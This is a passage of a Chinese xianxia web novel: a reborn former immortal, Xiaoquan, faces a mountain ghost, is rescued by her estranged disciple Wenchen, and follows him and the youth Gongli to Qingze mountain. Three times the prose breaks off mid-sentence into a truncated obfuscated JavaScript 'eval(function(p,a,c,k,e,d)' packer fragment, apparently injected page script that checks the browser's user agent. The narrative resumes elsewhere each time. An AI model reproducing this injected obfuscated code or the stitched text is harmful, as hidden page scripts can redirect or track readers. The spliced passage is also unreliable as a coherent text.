推来推去还是要被拉去青泽,潇泉推脱道:“不用了仙君,你们只要把药给我就好了,我自己回去慢慢养。” 闻尘收好药瓶纱布,“你回不去了。” 潇泉心一咯噔,“仙君何出此言?” 闻尘:“平安镇要搬迁,住不了多久。” 宫璃恍道:“原来主宰叫我们来这边巡游不止为了除妖,还得帮平安镇顺利搬迁啊?先前我还好奇是哪个地方要搬,敢情就是平安镇啊。” 潇泉没心思圆谎了,“平安镇要搬迁是因为哀乐山?” 宫璃:“差不多。山鬼封印松动,山上邪祟蠢蠢欲动,平安镇不想搬也得搬。这两百余年的安逸,算是祖上积德了。” 什么?两百多年?! 她从叛仙入魔到魂飞魄散十年都没有,一死就过了两百年?坟头草都换了无数次吧! 不对,她好像没有坟头。 潇泉很想弄清楚自己不在的这些年间,到底发生了什么。 平安镇要搬迁,独自生活的少女没有自保能力,不知将来会遇上什么危险。宫璃想到此,劝说更起劲儿,“姐姐,既然你是一个人生活,不如搬来我们青泽山吧?虽然我们青泽冷清了些,但灵气充沛适宜修行,你可以来找找灵感。试一试总比放弃好。” 潇泉有点动心,但动心不多。 这小子这么劝她去青泽,莫不是想拉她去凑人数的内宗子弟?看他和闻尘关系不匪,难道…… 潇泉试探,“你俩是师徒?” 宫璃呛道:“怎么可能?要我说,肯定也是三岁劈柴五岁御剑的天纵奇才配当百里大人的徒弟,我才不配。” 少年一语惊两人。 潇泉头一回碰见这么贬低自己的,愣道:“怎的这样说?” “哎,你别问了……”宫璃有意无意瞟向闻尘,不敢明说。 潇泉略作思量,似懂非懂,笑说:“不一定要拜师啊,只要对方在修行路上引你步入正途,在人情世故上教你近君子防小人护自己,亦是你的师父,何必执着名分?” 她转而背靠桌沿,“换做是我,我就不要拜师学艺,走到哪儿学到哪儿,不懂就问。问对人是为师,问错人算运差,过了这个村再继续下一个店,如此往复,所学之物不比拜师少。” 这话有意无意散去少年心中阴霾,他诚心慷慨言谢,不经意间对潇泉露出江湖侠义的气势来。 潇泉暗中观察闻尘,他坐姿端正安稳,并不打算解释少年为何如此。 从宫璃话中,不难猜出他一心想拜师于闻尘,但闻尘却铁心不收。以潇泉多年了解,他不是在意对方的家世资质条件,而是没想过收徒,又不想耽误对方,故表明态度。两人之所以同行,多半是少年死缠烂打,闻尘推脱不得,只好任人待在身侧。他性情平淡安静,从来不善应对热情之人。 潇泉收回思绪,问:“青泽可还有其他亲传弟子?我很少了解这些,不过听你说起,倒想知道一二了。” 宫璃:“青泽很久没有亲传弟子了,百里大人是最后一个。” 潇泉压住惊愕,又问:“那……青泽宗主呢?” 对面,闻尘率先开口:“来者是客。” 简言之就是想知道?自己去看。 这家伙的短语越发精妙,没个脑子还真听不懂。 突然被截话,宫璃立马老实,偷瞄闻尘,见其神容依旧,暗暗庆幸。他就说,百里大人怎么可能会轻易生气,真是自己吓自己,没事找事。 想是这么想,宫璃和潇泉说话还是变小心了,“百里大人的意思是,你想知道白宗主现状如何,自己去青泽看,别老问这儿问那儿,他会烦。” 潇泉不信邪,“到底是你烦还是他烦?” 宫璃:“你看看你看看,我好心提醒还不信。不信你就多说两句,看百里大人搭不搭理你,搭理你我名字倒过来写。” 潇泉想板脸吓他,又听少年道:“你问谁不好,偏偏问白宗主。我都不敢问,你还问什么?” 多问一句是会触犯天条? 潇泉正想回应,宫璃忽道:“她闭关了。” 潇泉比刚才更为惊讶,不敢相信师父会放下施行一生的观苍生平天下、闭关避世去了。 她脑海闪过无数画面,想得越多越加沉默,宫璃喊两声才有反应。 这时,敲门声打破房间安宁。 宫璃跑去开门,便见一脸睥睨天下、自视清高的公主殿下冷不丁站在门口一副要讨债的模样。 作为晚出生两百年的晚辈肯定没资格与对面硬碰硬,宫璃想也没想,后撤一大步,姿态尽显恭敬,语气却别有一番风味,“怎么了公主殿下,您有事儿?” 花容酒无视少年,走进屋内对闻尘道:“你们好了没?我感觉山中邪祟越来越凶,需要尽快歼灭。” 闻尘携上佩剑走向门外,“正有此意。” 宫璃没心思阴阳怪气了,赶紧跟上,“那我们走吧。” 事态紧急,所有人不再计较之前的矛盾,带上必备器物往山里赶。走之前,他们特地叫苏老爷照顾好潇泉,她没有灵力防身。 照顾她? ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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小鸟叽喳两声,叼纸去了。 鬼林妖山千奇百怪,小鸟灵活穿过重叠阴林,飞到崖底枯树上方,丢下符纸放纵火烧,飞回原地。 小火迅速蔓延,一点点吞噬光秃秃的树干,冒出一股又一股的浓郁黑烟,在黑夜中格外显眼。 潇泉自知不能多留,迅速原路返回,还不忘带走小鸟。 浓烟滚滚,古树好似发出凄厉惨叫,惊醒周围大片鸦群。 “百里大人你看!那边有浓烟!”宫璃指向夜下飘升的漆黑烟火。 闻尘早已停下,即刻往浓烟方向赶去,宫璃紧随在后。 修仙之人本比常人强健,纵是散布妖邪的哀乐山,他们亦能顺利穿过阻碍盲区,找到浓烟根地。 宫璃环视附近,思索道:“这山崖好生偏僻,邪气很重,好像是从那株树下发出来的。” 闻尘跃到崖底,转伞到枯树上方,伞面倾泻圈圈荡荡的浅蓝波光,将浓烟和邪气一并吸收。 快被焚烧成灰的枯树底下钻出一个黑黢影子,形状时时变动,张着大口仿佛要生吞二人,恐怖如斯。它没有发起进攻,晃了晃影便消失不见。宫璃刚要惊呼叫人,闻尘飞至崖顶,直冲密林某一方向。 走入深处,气氛逐渐怪异,隐有鬼哭狼嚎飘荡。闻尘闭上双眼,一丝蓝芒划过眉心,再睁眼时,八方妖魔鬼怪各显身形。 果然有古怪,但再如何藏匿,在通灵眼面前统统被打回原形。 闻尘轻吐一口清气,剑如闪电出鞘,发出的凌冽寒芒直穿密林深处,剑气与邪气疯狂缠绕撕扯,在暗林形成一场强烈的暴风叶雨。 5. 旧故(四) 潇泉不能全凭记忆返回,靠鸟儿追寻气味找回去苏府的路。 方才那张符纸是为了解开封印,只有释放山鬼本体气息,才能让闻尘他们发现山鬼,将其斩除。 当年潇泉和它撕破脸皮没有痛下杀手,是看在有过交易的份上,而今她要保住自己,不杀也得杀。 前半段路走得顺利,后面却没那么幸运。林中再起浓雾,潇泉不慎迷失方向。 不出意外的话,要出意外了。 深山响起咕咕怪叫,四周阴风阵阵,潇泉捕捉到危险气息,放飞小鸟,抄起符纸一路狂跑,没多久便累得气喘吁吁。 妖邪乱窜,怪风自暗处飘来,伴随着轻轻呜咽。 脸庞似有刀刃划过,潇泉感知不深,但胳膊却有几道溢着丝丝鲜血、浅薄平直的切口,可见此风的威力。 她咬破指尖,飞快画符贴在自己胸前,把妖风挡到几步之外,但双脚却仍停在原地。 不是她不想走,而是有东西不让她走。 山鬼,山鬼。在没有神仙镇压的山里,它就可以为所欲为。 潇泉横眉冷声:“当初我封印你可以说是为了你好,不然这两百年你不知会死多少次。” 鬼哭声在周围游荡,没有回话。 潇泉:“你这么费尽心思地追我,却又没有大打出手,不会是想把我变成你的傀儡吧?” 说话间,潇泉背上一沉,像有什么东西攀附着。她镇定不动,将胸前符纸反手贴向身后,地里冒出来的黑影刚好接住这一下。 潇泉一脚踹开这只邪祟,掉头往前跑,不论如何绝不回头。 这里邪怪太多,有团黑影悄悄靠近,左右交织缠住她脚腕。这玩意用剑无用,潇泉迅速对其画下一道血符,谁知对方立马反击回来。 潇泉微弱灵力不够防身,被震撞到树上,黑影同样被她的符咒震退数步远。 在继续打斗前,潇泉开口道:“与其和我浪费时间,你不如先想办法脱身。你知道我那徒弟性子,可以说是宁可错杀,也不会放过。” 黑影终于发出低沉沙哑的笑,“潇泉,没想到有一天,你竟然会用你的徒弟来恐吓我。你也好意思认他作徒弟?别忘了你是怎么和他决裂的,又是怎么背叛仙门来到我这儿的。你居然还有脸提这些,不羞愧吗?” 潇泉冷脸,“当年的事我迫不得已。再说,我们交易不也是为了各取所需?你得了好处翻脸不认人,想置我于死地,到底谁歹毒,你更清楚。你有什么资格来审判我?你还是先想想自己吧,再不走就没机会了。来的人不止闻尘,还有昆仑其他两位仙君,我劝你——” 一阵狂风将她掀倒在地,腥气顿时充满口鼻,潇泉难受得紧,张嘴呕一口血才好受些。 使用的骗计没有得逞,潇泉只好试着将一道咒文融入剑中。刹那间,先前精修的剑法好似全部灌入四肢,能够为所己用,令她感到有点意外。 还好出门前多手一回,拿上普通的剑防身总比没有好。 山林中,少女和黑影的行迹双双错杂,彼此相冲,摩擦出来的火花打破幽静。 似是觉得潇泉回到了当年,黑影没有再战,隐身藏在附近,时不时冒个鬼脸出来,或是爬出黑色藤蔓,拉住潇泉手脚硬生生折磨。 无数团黑影飘飞不断,难辨真假山鬼,潇泉无暇思考,一个个磨过去,准备鱼死网破。 突然,黑暗中闪过一缕异色,直直冲向这边。 潇泉耳目尖锐,蓄力在剑上,去迎那击。 暗夜擦出一声刺耳铮鸣,剑被不可阻挡的力量打落在地,潇泉还没看清便被撞飞出去。 懵然之中,有只手紧紧抓住她手腕。就这么一拉,潇泉在飒飒冷风中对上了一双宛若深海冰渊般的眼睛。 是他。 冲击仍在缓冲之中,闻尘面不改色,伸手掌住潇泉后脑,在将要撞上山岩那刻,拢她进怀,在关键时刻转身落地,对着顺风而来的一切力量,逆风而挡。 所有动静全部止息。 四周安静下来,潇泉悬着的心慢慢平缓,探出脑袋张望。他们所在位置离岩壁只有几步远,若无闻尘及时刹停,照这次冲击力量,她不死也残。 但,他本该救她。 潇泉还没完全回神,闻尘似乎亦然,保持姿势一动不动注视着她。她心感不适,移开目光避开对视。 依据现况,潇泉大概知晓是怎么一回事了,应是闻尘追妖到此,不知有活人在场,雷霆出手就要缉妖,结果半途发现错抓凡人,这才抱人保人。 紧贴胸怀的暖意愈发清晰,如此之近,潇泉似乎还能闻到淡淡的金银花香,以及感受若有似无的剧烈心跳。 不知他要保持这个姿势多久,潇泉实在难熬,不禁问:“仙君,你能……松手了吗?” 话落,潇泉被温暖包裹的身体一下冷嗖起来。对方松手轻快,即便如此,她还是感觉金银花香沾在身上挥之不去。 空气静默半晌,闻尘没有要走之意,潇泉觉得他应是在想到底是把她带到安全地方,还是留在这里。 可想归想,他为何要一直看着自己? 潇泉不敢抬头,一旦如此,她就会和那双眼睛对上视线,极不安稳,仿佛多看两眼,心底难以窥见天光的秘密便会被对方剖露得一干二净。 他心思细腻,向来如此。 少女缠满纱布的脸看着好不滑稽,但纱布之下有一双澄澈清明的眼睛,透着天不怕地不怕的平静坚毅。 闻尘陷入长久的缄默。 气氛有点尴尬,潇泉主动化解道:“仙君,你还好吗?” “……无碍。”闻尘唤回停在半空的银龙,返路退到黑雾群中,拉开了和潇泉的距离。 有千魂伞强力配合,山鬼被闻尘逼得无处遁形。前者觉察不妙,掀起一阵妖风掩护,趁机跑了。 闻尘拔腿欲追,又顿下脚步,往潇泉方向瞥一眼,头也不回走了。 看他远去,潇泉放松下来,安慰自己,“没事没事,大难不死,必有后福。” 脚踝阵阵作痛,潇泉爬到树下坐着等人,默默感慨从前多么风光,现在就多么狼狈。不过老天既给她一次活命机会,她必须得抓住机会做完想做之事,不然对不起这天赐良机。 还有,她可能得再去一趟九重楼。 “唉,这昆仑山不想去也得去了。”潇泉轻叹。 九重楼是昆仑山重地,经文典籍数不胜数,独世珍贵,还有仙君专门看守,进去须经允许。 师姐曾是驻守九重楼的仙君,死前丢失一本记载她许多重要的事历物什的生平录,潇泉需帮忙找回,算 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花容酒递出一张符纸,“看不出来,你资质平平,居然也会画符?你用的哪种符咒防邪祟?画一张我看看。” 就算会寻常符术,也不可能说给看就给,不然人的尊严何在? 潇泉:“你叫我画就画?凭什么?我就不画。” 花容酒揪住她衣领往另一个方向走,潇泉抱树死不松手,大喊救命。 嗓门一喊,宫璃风急火燎从林中赶来,喝声道:“殿下,万万不可!杀人是要伏法的!” 花容酒无视劝告,继续拉扯潇泉。 夜色晃过一抹银光,一柄锋芒长剑悬在空中,作势杀来。 宫璃面色大喜,“好银龙,快来!” 银龙即刻掉头转向花容酒,拦在她和潇泉中间,低鸣阵阵。 花容酒眯起眼睛,“一把破剑也想拦我?” 银龙剑头立马对准花容酒,剑锋缠上丝丝冷气,冷得潇泉不禁后退几步。她把自己和对面毫发无伤的花容酒做对比,心想这到底是防她还是防我?要冷死谁? 宫璃过来拉住潇泉,对花容酒道:“殿下,百里大人的剑灵再怎么说也是有神性的,不可无礼。何况这剑灵与百里大人心有灵犀,他留下这剑,指不定就是为了保护这姑娘。” 他说得好听,言外之意谁都明白。 银龙确是闻尘留下来平乱的,至于这“乱”是什么乱,眼下很明显了。 花容酒脸色一黑,抽出龙骨鞭狠狠一挥。银龙不退反进,以冷硬剑气抵住嚣张鞭气,互不相让,震出呲呲声响。 宫璃趁机拉上潇泉跑路,留一人一剑在原地对峙。 潇泉:“等等,我符纸还在她那儿。” 宫璃:“先跑路要紧,回头我问百里大人要几十张给你。” “他肯给?” “当然会了。百里大人只是看着冷漠,其实可热心肠,只要别太热情,不然会打扰到他。” 潇泉诧异,“谢也不能说?” 宫璃:“啧。我刚才的意思是,他不喜欢发生多余交情,萍水相逢一场最好。你是故意听不懂还是装听不懂?” 潇泉:“你猜啊。” 6. 旧故(五) 在山鬼的地盘抓它,难度比平常高了不知一星半点。闻尘寻迹来到一个山洞,洞内漆黑一片,淡淡腐味混着泥土浊气,通道勉强能侧身挤入。 这处妖气接近于魔气,相比之下,山鬼气息接近于无。 闻尘小心前行,在岔路口滞留顷刻,从中任选一路。狭窄通道渐变宽敞,深处愈发方正规整,宛若一座地宫。 经过一些弯弯绕绕,他到达一间石室。这儿有废弃多年的一桌两椅,桌上酒樽蒙着厚重旧尘,里面残留汁色,好似有人用过。闻尘举樽轻嗅,闻到一缕残香。 是黄泉花。 这时,四周墙壁发出几声怪响,闻尘反手握紧背上的千魂伞轰然一甩,伞面尖锐柄首直直插入墙内,使得墙面裂开粗细不一的黑隙。 藏处暴露,黑影迅速逃到墙后。 它一动,地面开始剧烈抖动,将似坍塌,但洞顶却无细石碎屑掉落。 闻尘食指一勾,千魂伞立刻脱离墙体飞回空中,散发波光压制震动,浓郁妖气很快变弱。他再一拂袖,旁边墙体乍然粉碎,碎石尘土遍布硬地。有团黑黢影子在其中如鼠逃窜,千魂伞飞快拦住,紧紧配合闻尘,立马将其用捉妖绳套紧。 “啊啊啊!疼、疼死了!”被法力灼伤现形的山鬼狼狈滚在地上死死瞪着闻尘,脸上的憎恶慢慢化为狞笑,“我觉得我上辈子一定是造了什么孽,所以才会被你师徒二人反复折磨!” 闻尘来到积满灰尘的石桌前,原想继续观察酒樽,却被椅上一根浅红带子吸引。他目光一凝,拾起来轻轻摩挲,语气平静道:“我所问的,你必须如实回答。” 山鬼啐道:“有屁快放!” 他有种天雷要劈到头上的不祥之感,这种不祥源于他对闻尘的了解。后者身为昆仑仙君,捉妖除魔为本分,闻尘没有急于杀他,定是想谋取什么。 比如,打听潇泉的消息。 山鬼刚想抱有一丝侥幸,天就塌了。 闻尘:“你可还记得两百年前,逍遥仙君来找你是为了什么?” 山鬼不屑一笑:“你抓我就是为了问这个?” 空气冷到凝结成冰。 山鬼早已习惯这个惜字如金的冰块脸,知道这是自己唯一存活价值,道:“她找我还能有什么事?我又不是什么好人,我不说难道你还不懂?事情过去两百年,你师父也死了两百年,你问这些没有任何意义。” 闻尘神色不变,“她为何封印你。” 山鬼神情不耐,“这还用说?当然是不想让我跑出哀乐山了。” 闻尘眼神漠视,显然不信。 山鬼没否认自身罪行,笑得更加放肆,“她封印我可不是为了替天行道,只是为了防止我以后暗算她。可碍于某些方面不便杀我,就把我封印在山里两百多年!你还真以为你师父是什么好人?哈哈哈哈哈!” 闻尘对此仿若未闻,又问:“她来找你干什么。”他袖中变出三把银刃,逼近山鬼脖颈,阵阵寒气可锁呼吸。 山鬼:“你这不是明知故问?即便不知我们干了什么,也不难猜出是干坏事。我这脑袋不太灵光,这么多年过去,很多事情早已记不大清,毕竟她来找我的次数不是一次两次——咳!” 一道猛驰灵光将他撞到墙上,一阵天旋地转,又掉到地上摔得满身尘土,好不惨烈。山鬼晃晃脑袋,艰难爬起,擦去嘴角血迹,完全不怕下一记挨打,咧嘴笑道:“我就不明白了,一个死了两百年的人值得你这么操心?!还是说,你们昆仑就这么怕她借尸还魂?那你有没有听说过,自尽之人,没有借尸还魂的机会。” 本来山鬼也如这般坚信,直到再次感应潇泉气息,还如实见到本尊,坚如磐石的“信仰”才被打破。 潇泉魂魄散成那样都能死而复生,山鬼猜测可能是青泽山的哪座祖坟屁股歪了。他不怕闻尘打死自己,只要自己留点后路,将邪气残留世间,就有被潇泉复活的机会。只要她愿意,就没有不可能。 世间难得的神魔,可镇邪、驭妖、降魔。 这几大诡术足让昆仑头疼百年千年。 尽管山鬼恼怒潇泉封印自己一事,可面对仙门,他们还是一路人。气话说说就得了,凭他现在的实力,要真杀死重生成凡人的潇泉,不一定得手,这几名仙人会保护她。 山鬼纳闷至极,好不容易恢复了自由,一出来便有人追着打,最后还板脸问他讨厌的人在哪儿?简直有病吧! 他气得嗷嗷,“昆仑逼死你师父时,你不是看得清清楚楚?还来问我干什么?!” 接下来的沉默漫长无比。 闻尘终于启齿,“那天,我不在。” 山鬼怨气冲天道:“你为什么不在?!她是死是活与我何干?又与你何干!你们不是断绝师徒关系了吗?!你要找她下黄泉去找,逮着我一只妖问这问那的有意思吗?你神经病啊是不是!死变态!” 他崩溃到差点变回原形,闻尘见状适当松放捉妖绳,不罢不休问:“这两百年,你可曾感受过她的任何气息?” 大妖大魔可感受彼此的气息,但神魔能神不知鬼不觉藏匿自身气息,或是分散魔气混淆气息,掩护本体。 山鬼彻底失去耐心,“不知道,没见过,谁会在意一个死透了的人?” 闻尘转手准备开伞。 见状,山鬼大惊失色,“你真是有病!得不到自己想要的就折磨别人!你应该去青泽老祖坟上问两句她到底在黄泉何处,而不是跑来问我!你这个——” 他吐出一句不知是骂词还是警告的话,千魂伞便将他收了。 山洞归于沉寂,闻尘端详红带子片刻,揣进袖中带走了。 山鬼被收服后,山中妖魔鬼怪逐乱阵脚,没了底气护盾,很快被修士仙门子弟收服。 平乱结束,闻尘第一时间来到苏府,跟苏老爷商议到底要不要让平安镇迁离。 苏老爷:“平安镇那块地还是不错的,只不过这两百年的蹉跎,肯定没有先 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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潇泉吃完葱花饼,用帕子擦净嘴巴和手,道:“你看,你都说我灵力低微、本是劫难逃的,可现在我还不是活得好好的?而且还碰上了你们,这说明什么?说明我大难不死,必有后福!我这天生体质太难改变,莫说是去青泽修行,就是让你家大人给我护法,都不一定能成。” “你所言确有道理,但这世道只有强者说了算。若你灵力不加以修炼,到时肯定会吃苦头。”宫璃诚心劝诫,“青泽山有适宜修炼的地方,你可以暂住一阵。” 潇泉知道他说的地方是她少时常去的地方之一——百鸟林。林中灵气充沛,天地两方精灵无数,其中青鸟飞鱼最为之多,宛若一座被灵气蕴养的精灵之家。 宫璃滔滔不绝道:“那地方在九州绝对是数一数二的灵气旺,比你一人研习好。而且,现今你很难找到安身之所。平安镇要搬迁,禁止居住,你去其他城镇还要走上好几天,山高水远的,路上绝对会遇到妖精,何不直接来咱们青泽?如果你来之后还不想待,我和百里大人可以送你到其他城镇去。总之,跟我们在一起挺是方便,姐姐你再好好想想?我是真的为你着想,别不听啊。” 潇泉思酌道:“我再好好想想。” 这少年所说颇有道理,听上去,青泽山好像确实是她不二之选了。 要想再去一趟九重楼,须先提升自身修为,不然以楼内密网般的布防,她没有本事能力傍身,很难全身而退,青泽山可以作为初入修行的垫脚石。 潇泉捏紧手指。 既是难以躲掉的旧缘,那便再亲自一会。不知宗门的变化大不大,她的东西还在不在。 7. 新初(一) 三人来的哀乐山,回去变成了四人。 下山路上,潇泉换了身干净衣裳走在后面,偶尔跟路上的精灵挤眉弄眼,不算太过无聊。 渡江是离开哀乐山的第二条路,亦是潇泉等人和公主殿下的分别之地。彼时昆仑一众子弟在江岸等候,见到闻尘和花容酒,齐齐朝他二人行礼。 有个肚子圆圆的中年男人走向闻尘,“百里君,妖物可除了?” 闻尘:“我把它关在伞中,等日后审讯。” 其余人神色微变,有些冷汗。主宰说的是必须除掉所有邪祟,不可私留关押。闻尘擅作主张,留那山鬼苟延残喘,万一传到上面去,罪责下来就不好说了。 谁都能留山鬼性命,独独闻尘不行。这是主宰的意思。 圆肚男人嘴唇轻张,并无斥语,“对邪祟千万不要心软,审讯完立即消灭。可做得到?” 闻尘:“会的。” 江船上,花容酒探头出来静默观望。 男人嘱咐完,又道:“宫璃少君,你要回昆仑还是留在青泽?金鹤大人让我帮忙捎几句话,说你离家已有三个月,若还不回去,以后名字倒过来写,别再进宫家的大门了。” 宫璃焉了大半,站在闻尘身后哀求,“武执笔,麻烦您回去告诉我兄长,说我被山鬼吓到了,难以长途跋涉,想在青泽借宿两日……两日后我再回去。” 男人是主宰的心腹之一,掌管昆仑所有史卷仙历,官名【执笔】。这个职位地位说高不高说低不低,无非是有主宰赏识,他人才不敢轻易怠慢。 “金鹤大人还说,不要老是跟在百里大人屁股后面,少说多做,不要给他人添乱,否则他定饶不了你。”武执笔说完,朝闻尘赔了个礼,说是代金鹤大人行的。 众人面面相觑,表情耐人寻味。 有人私语:“金鹤仙君会主动给百里仙君赔不是?那公鸡岂不是都能下蛋了?我看啊,是武执笔自己用金鹤仙君的名义赔罪的。武执笔太心善了,为人处事这么圆滑又让人舒心,难怪主宰大人这般器重。” “你少说两句,不知道他们精通顺风耳吗?小心给听到。” 尽管知道是做表面工夫,闻尘还是给了武执笔这个面子,“宫璃懂事良善,对我并无造成影响,可让金鹤放心。” 两位仙君的身份地位平起平坐,彼此称呼用大名、仙号属正常。 宫璃点头附和道:“对啊,我可听话了,很少让百里大人担心,我也没有老缠他。” 他还想到了潇泉,把她往前一带,“还有这位新朋友,也是一同去青泽做客的。” 说不上是好心办坏事,但潇泉带伤的可怜模样和一眼被洞穿的废柴之身不免会招来窃窃私语。 昆仑弟子傲娇清高的大有人在,私斗比试更是家常便饭,为的就是想让对方服气,或是好奇对方有什么实力能与自己媲美。潇泉见过不少,不以为奇,哪怕当下的议论夹杂着不屑鄙夷,她也心无旁骛,不为所动。 诸多言论无关好坏,但敢当仙君之面私议,便是有伤门风!武执笔一下来火,当即将他们这些晚辈呵斥进船,不准再出来,更不许探头探脑! 子弟门生不敢造次,逐个钻进舫里安坐,竖耳悄听。 武执笔拿出一个白玉瓶给闻尘,“此药有百用,不论摔打烧伤都能治,涂个两三日就差不多了。” 被照妖镜照伤,需得用专门的灵药来治。武执笔表面说有百用,其实就是治镜伤的药。 公主做错事总会有人兜底,众人早已习惯。 雪中送炭没有拒绝的道理,闻尘淡然把药瓶收下。 等船群离岸远去,宫璃忍不住道:“就仗着自己身份高贵为所欲为。殊不知人在做天在看,我就不信这些老家伙能护她一辈子。” 少年如此有正义感,潇泉可不能寒了他的心,开口就是一通真心胡话:“就是就是,这么大人了还要人擦屁股。哪像我,三岁学会走路立马出来要饭,一直苟活到现在。” 宫璃拍拍胸脯,“要是我早点遇见你,肯定不会让你吃苦,那些坏人我见一个揍一个!” 潇泉心中敬佩少年的慷慨大义,暗道昆仑日后还是有救的。似想到什么,她又问:“你说让我进就能进了?难道不该去问青泽宗主的同意?” 宫璃:“白宗主闭关后,青泽的所有事务便交由百里大人打理,客人入住也是经过他的同意,但青泽近年来客不多,所以百里大人对访客的进出管得不严。” 潇泉点头说知道,却觉有点随意。 她可是从哀乐山里出来的,还被昆仑的权贵质疑过,这就放她进去了?还是说闻尘早有怀疑,将计就计骗她进去,然后用不轨手段逼出原形? 这不可能,她的身躯与常人无异。他们肯定也想不到,神魔会以普通生命死而复生。 反正活都活了,脸皮再厚一点也无妨。 少年帮了她这么多,潇泉想起自己还不知他姓名,于恩不该,便问:“我瞧你那把金弓不错,家世肯定排得上道吧?” 宫璃露出笑容,“你终于好奇了,我等这一刻等很久了。” 果然是傲娇惯养的,喋喋不休了一路,想展示自己一番却又不肯主动,非得引别人主动。潇泉当真是很少碰到这种人,感觉好笑又可怜,有点忍俊不禁。 宫璃:“先说我爹娘吧,他们同为昆仑门生,成亲后生了个儿子,也就是我兄长宫榷。他十岁那年被主宰带到昆仑栽培,每次试炼结果都稳定前三,是培养仙君的好苗子,主宰就选了一个资历高深的道长做他师父。我兄长不负主宰所望,多年后羽化登仙,号金鹤。我比他小很多岁,这些我不曾亲眼见过,都是听我娘说的。我们宫氏一族信奉朱雀,是仙门三尊之一。” 这些潇泉知道。 宫氏祖先曾与世间最后一只神鸟朱雀有过一场救命恩缘,定下薪火相传之契,同时承接了朱雀耳尖目锐、灵通千里的神力。最重要的是,可向天问道,但代价之大,一生只能用一次。 有了朱雀神灵庇护,宫氏一族自然而然成了一大仙门世家。 金鹤是宫家长子宫榷的仙号,以前潇泉在昆仑见过,那会儿他还是一名学徒,尚在历练修行中。只是她很少关注别家的孩子,因此印象不深。 要真论起来,甭提什么金鹤大人了,哪怕是一眼望穿山海的百里大人都得叫她一声前辈。可惜这下活成了废柴,美梦碎成一地。 少年的身量比潇泉高一些,脸上稚气还完全消退,性子较为跳脱,年纪应当不大。 潇泉带了点宠溺的笑,“你多大?” 宫璃朗笑道:“我十四。你呢?” 潇泉随口胡扯,“十五。” 宫璃惊诧,“十五了你还不担心?修炼可是我们的人生大事,不可懈怠。你得赶紧来我们青泽多多吸取日月精华,肯定会有用的。” 潇泉:“你很喜欢青泽?” 宫璃两眼放光,“那当然,青泽是除昆仑以外我的第二个家。那些老家伙太烦了,我不想听他们念叨,所以常跟百里大人来青泽坐坐,他去哪儿我去哪儿。时间一久,他们就懒得管我了,反正跟百里大人也能学到很多。只不过……” 他顿了顿道:“百里大人每次忙完昆仑的事都会回来看一看,而且有个万年不变的规律就是他在昆仑待多久,便会在青泽待多久……我总觉得,百里大人对青泽很执着,执着到一种视其如命的地步……给我的感觉是这样。喂,我是悄悄跟你说的,你可千万别在百里大人面前泄露啊,替我保密。” 潇泉看了看前方隔了小段距离的闻尘,心想到底要不要提醒他,闻尘的听力从小敏锐,哪怕隔远点说话,只要他想听,几乎没有听不到的,根本没有秘密可说。她道:“放心,我没那工夫。” 青泽山离这儿路途遥远,蹭吃蹭喝了一路的潇泉终是良心过不去,“救济穷人简直是观世音菩萨转世,我要是以后有钱了一定会报答你们的。” 看她小身板小脑袋的,宫璃感觉有点悬,不过依然捧场,“好啊,以后出息了可千万别忘了我们。” 潇泉:“一定不会,我这人最记恩了。” 宫璃:“对了,你叫什么?” 潇泉想了想,“扶摇。” 宫璃叹气,开始发牢骚,“你这名字真好听,不像我的名字,寓意不正,有‘璃’便有‘离’。” 潇泉:“不一定是这个寓意,是你心思作怪罢了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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潇泉怔了怔,而后微笑接过。 宫璃解释道:“这里晚些时候比较冷,尤其是那三千石阶之上。” 他手指前方,擦过闻尘的背影,又想起大人曾说“以手指人是为轻礼”,很快收回了手指,说:“要是你上去还感觉冷,直接和百里大人说,不用怕。他只是不喜欢听废话,但接受求助可是义不容辞。” 宫璃小声道:“就比如这件外衣,肯定是他叫女弟子送下来的。上面真的很冷很冷,我们可以用灵力暖身,你又不行,所以只能靠外物保暖喽。” 潇泉:“我知道,谢谢。” 爬上来后,潇泉喘得厉害,险些腿软坐地上,谁知另一边的宫璃也扶着石栏大口大口喘气。 宫璃干笑道:“登山快道被掉下来的山石堵住了,还在修护中,只能委屈你徒步了。” 潇泉摆手说:“没事,不是我一个人委屈。” 她调整好气息对闻尘道:“仙君,我就住这里行吗?随便一间房都行。” 青泽山外围是外宗弟子的居住之地,但对潇泉来说过夜足矣。 闻尘:“灵力低微者难熬冷夜,你还有伤。” 宫璃:“是啊姐姐,你和他们的修为根本不在同一水平,住在这里很难受的。他们没事,你就不一定了,况且你脸上还有伤,去里面方便治疗些。” 潇泉:“真的不用了仙君,我睡这儿也没事。” 原本觉得来都来了,在哪儿住都一样。可再次来到这里,过往如抽丝剥茧般从脑海里窜出,想逃又不舍,想留又胆颤。 宫璃:“那你今晚睡这儿,明早一样还是得进去啊。你不吸收日月精华了?白送都不要?” 潇泉是这么想,又怕是陷阱,“两位仙君的好意,我实在感激不尽,只是我曾听闻青泽山内不便生人进入,所以……” 她觉得还是委婉点好,不能拒绝得毫无余地,万一人家当真了,她上哪儿去找精华之地修炼?白送的当然要了,只是这个要法得聪明委婉一点。 8. 新初(二) 宫璃轻轻推搡她,“哎呀不会不会,那都是以前的规矩了,哪有你说的那么严重。只要百里大人在这儿,你就是他请的客人,直接进去便是。” 潇泉:“我不清楚门中规矩,触犯门规会不会被关进牢里?” 宫璃:“只要不是杀人放火,随便干什么都行,百里大人不会怪罪的。” 潇泉半推半就,耐不住少年劝导,跟他们来到了青泽内围,路过的弟子见到闻尘宫璃二人,齐齐俯首行礼。 到了客居,潇泉的视线在屋舍间盘旋,然后被一张笑眯眯的脸挡住。宫璃上下摆手,“姐姐,不如你住净香庭吧,我也住那儿,这样我俩好有个照应。” 潇泉想问闻尘的意见,抬头却不见他人了。 